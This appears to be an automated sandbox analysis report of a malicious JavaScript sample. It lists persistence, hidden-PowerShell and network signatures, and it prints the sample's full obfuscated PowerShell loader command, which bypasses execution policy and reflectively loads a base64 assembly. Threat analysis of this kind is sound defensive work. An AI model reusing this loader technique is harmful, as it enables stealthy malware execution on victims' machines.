Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 23:17

General

  • Target
    3cddbb6bd089294445844d2d1dc3b3c49478394d24ed1e11fc922e7c7a5ce602.js
  • Size 26.3MB
  • Sample260804-2928wsfp8t
  • SHA256 3cddbb6bd089294445844d2d1dc3b3c49478394d24ed1e11fc922e7c7a5ce602
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3cddbb6bd089294445844d2d1dc3b3c49478394d24ed1e11fc922e7c7a5ce602.js
    1⤵
    • Creates a file in the Startup directory
    PID:3384
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('OTtCRiWyqKAO73EUeEj6QF7a3h9JuyThagredXJP8aMJ/zSMiO+Tz0UROXyZ8rXzrVisXYAyiKoDBJJX58L7hA==','zIRovhQKjgUYNFxcUPPdBBQFTk0f/bTMTqIUBBXufGo=','ULx7MwNaWHThcTLlznYgmMR2G8qsWsdiUEYbMNKUeHnwWr/jtkjzPywre/OYDwt2','xrDu+W3hNhnicI1jWnu3fkeiSDWLeXl8Sm/aYTiS8yw=','tBrbZBPd/qQaBZk6ykXpoWZtQXakDUmUU4XZA0iKu5Q=','','0HuVX9CSCCN8BOJC7vQufClaD9pIx+scK1d41/FtbZ4=','tZeFH4DHGrDNuS5k9olqcPpnJhBdc7VzhBWgfiUZUU8=','','ao6hZmrEgQ7ihbO3TRhJ2i+dWZmw17pxhNC3yWQtPXcPjNS1tyk9qhxtjLhBX6tL','X49K0ARTZmfZee0miiaUqadWW+wqtWxWwZGfZEi8Tis=','uxq+U5Aw2B9VxoKudrVYdOi+lUyDeFqBjy9IKNh4G18=','1S+pp3ARNUi1EAsp4oui7mZDU47ROApkdx5wJwmtTcM=','s80NYTJ4HwV1jO2eF59h92QPJqedV9EEPMZDrJVZziM=','oxOtr2v9QJZbtoa/LF4Ve/g9xftSX9NTwQnulj0ytOY=','cJnP8YacYwnyIxRVALbAGHfjk+q7t3YAFapg75MTP5I=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1584

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_xzckl3a2.kjl.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xzckl3a2.kjl.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1584-2-0x000001F77E7A0000-0x000001F77E7B0000-memory.dmp

        memory/1584-1-0x000001F77E7A0000-0x000001F77E7B0000-memory.dmp

        memory/1584-5-0x000001F77D9A0000-0x000001F77D9C2000-memory.dmp

        memory/1584-11-0x000001F71A350000-0x000001F71A3E2000-memory.dmp

        memory/1584-12-0x000001F71A2E0000-0x000001F71A2EA000-memory.dmp

        memory/1584-13-0x000001F77E7A0000-0x000001F77E7B0000-memory.dmp

        memory/1584-14-0x000001F77E7A0000-0x000001F77E7B0000-memory.dmp